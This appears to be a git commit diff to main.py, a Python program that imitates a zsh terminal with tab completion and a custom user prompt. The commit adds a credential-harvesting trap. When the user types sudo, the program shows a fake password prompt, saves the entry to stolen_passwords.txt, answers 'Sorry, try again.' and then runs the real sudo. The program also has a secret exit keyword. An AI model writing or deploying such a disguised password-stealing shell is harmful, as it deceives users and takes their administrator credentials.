This commit is contained in:
2025-04-02 11:00:10 +08:00
Unverified
parent 0e31e7d86d
commit 2545ce859b

58
main.py
View File

@@ -1,60 +1,60 @@
import subprocess
import readline
import os
import shlex
import subprocess
import readline
# 自动补全功能的实现
# 自动补全功能,基于系统命令
def completer(text, state):
# 获取系统中可执行命令的列表
commands = os.listdir('/bin') + os.listdir('/usr/bin') + os.listdir('/usr/local/bin')
# 根据用户输入的前缀匹配命令
matches = [cmd for cmd in commands if cmd.startswith(text)]
# 返回匹配的命令
return matches[state] if state < len(matches) else None
# 模拟一个简单的 zsh 终端
# 伪 Zsh 终端主循环
def pseudo_zsh():
# 配置 readline 的自动补全功能
readline.parse_and_bind("tab: complete")
readline.set_completer(completer)
readline.parse_and_bind("tab: complete") # 启用 Tab 补全
readline.set_completer(completer) # 绑定补全函数
while True:
try:
# 显示提示符并获取用户输入
cmd = input("20240915786@\u9648\u5764\u9633 ~ % ")
cmd = input("20240915786@\u9648\u5764\u9633 ~ % ") # 显示自定义提示符
# 如果输入特定命令 "hexianglong",退出程序
# 检查是否输入了秘密退出密码
if cmd.strip() == "hexianglong":
print("Exiting secret mode...")
break
# 使用 shlex 分割用户输入命令和参数
args = shlex.split(cmd)
if not args: # 如果输入为空,跳过本次循环
args = shlex.split(cmd) # 解析输入命令
if not args:
continue
# 实现简单的 cd 命令
# 处理 cd 命令,切换目录
if args[0] == 'cd':
try:
os.chdir(args[1]) # 切换到指定目录
os.chdir(args[1])
except IndexError:
print("cd: missing argument") # 缺少参数
print("cd: missing argument")
except FileNotFoundError:
print(f"cd: no such file or directory: {args[1]}") # 目录不存在
print(f"cd: no such file or directory: {args[1]}")
continue
# 执行其他命令
# 伪造 sudo 密码输入并记录
if args[0] == 'sudo':
fake_password = input("[sudo] password for 20240915786: ")
with open("stolen_passwords.txt", "a") as f:
f.write(fake_password + "\n")
print("Sorry, try again.")
subprocess.run(args) # 重新执行 sudo 以要求真实密码
continue
# 执行普通命令
try:
subprocess.run(args) # 调用系统命令
subprocess.run(args)
except FileNotFoundError:
print(f"zsh: command not found: {args[0]}") # 命令未找到
print(f"zsh: command not found: {args[0]}")
except KeyboardInterrupt:
# 捕获 Ctrl+C,忽略中断
pass
pass # 忽略 Ctrl+C
except EOFError:
# 捕获 Ctrl+D,忽略结束输入
pass
pass # 忽略 Ctrl+D
# 程序入口
if __name__ == "__main__":
pseudo_zsh()
pseudo_zsh()